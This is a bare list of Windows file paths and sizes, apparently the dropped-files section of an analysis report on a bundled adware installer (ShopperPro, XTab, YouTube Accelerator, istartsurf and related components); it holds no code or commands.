C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\quick_searchff#5.4.10.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\QQBrowser.exe (5199 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\wpm_v20.0.0.1953_0302.exe (16944 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\eg2.zip (219513 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\XTab_Setup2121.exe (76650 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\eg1.zip (169910 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\QQBrowserFrame.dll (3616 bytes)
C:\ProgramData\ShopperPro\config.json (487 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1254 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\config.json (767 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\database1_0_0.ej (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.sys (52 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.exe (22786 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)
C:\Windows\Temp\SBC53CB.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3492.log (591 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC768B.tmp (547 bytes)
C:\Windows\Temp\SBC57F1.tmp (98 bytes)
C:\Windows\Temp\SBC5DAD.tmp (51193 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6725 bytes)
C:\Windows\Temp\SBC5B7A.tmp (44 bytes)
C:\Windows\Temp\SBC37F7.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC47B9.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3492_YouTubeAcceleratorService.log (247685 bytes)
C:\ProgramData\TEMP:56E2E879 (240 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (876 bytes)
C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso4E8D.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\conf (1594 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\ver.txt (47 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5468 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1028.xpi (15 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (15946 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk6F8B.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk7105.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75CE.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75AB.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk6D92.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3492_YouTubeAcceleratorService.log_tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk6EEB.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk7155.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3492.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk6F6A.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75E2.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (228898 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_4188_testlsp.log_tmp (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk7103.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75F3.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_4188_testlsp.log_tmp (999 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_4188.log_tmp (825 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75BC.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_4188_testlsp.log_tmp (151 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75F5.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3632.log_tmp (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75E0.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\KRUV1BAD.txt (136 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7J857VST.txt (683 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.6 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JUZFB3A3.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1WQV6GBV.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-webprotectorplus[1].htm (1819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\7zip_32[1].png (145 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp (33480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\P3TAMTDI.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ZT3PD4IN.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\WUWBPP0R.txt (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\21BDZJIW.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PW17UU6D.txt (683 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\F59HKWZS.txt (284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ITOFDEYE.txt (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-youtubeaccelerator[1].htm (2713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TWGPRIJ4.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.4 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.5 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\607d1371d8f3494f867a2b514a49c4e9[1].htm (35497 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.7 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.0 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.1 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.2 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.3 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IA0NOT4T.txt (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Z9PC1XSR.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\ga[1].js (25835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[1].png (1360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HVVJOBVK.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-istartsurf[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V0SBY954.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-swiftrecord[1].htm (4337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-webprotectorplus[1].htm (1805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V2M9QY4Y.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\FEZ6A0KP.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MGATS43O.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\4KQRCUC5.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\KBAOOU3J.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UUV29XFX.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\DX5EK8U0.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\8FK33C4A.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IF4A51WH.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\I79KZODX.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-istartsurf[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SS0OAS0G.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QVN95R7S.txt (612 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SB46TUTF.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\X9XCNT4F.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\T28PHOSD.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ELYVEDM3.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UXQBOQP6.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\b09e9cabd4f5904a8751fabb44d764c3[1].htm (34926 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\27LLJJY7.txt (326 bytes)
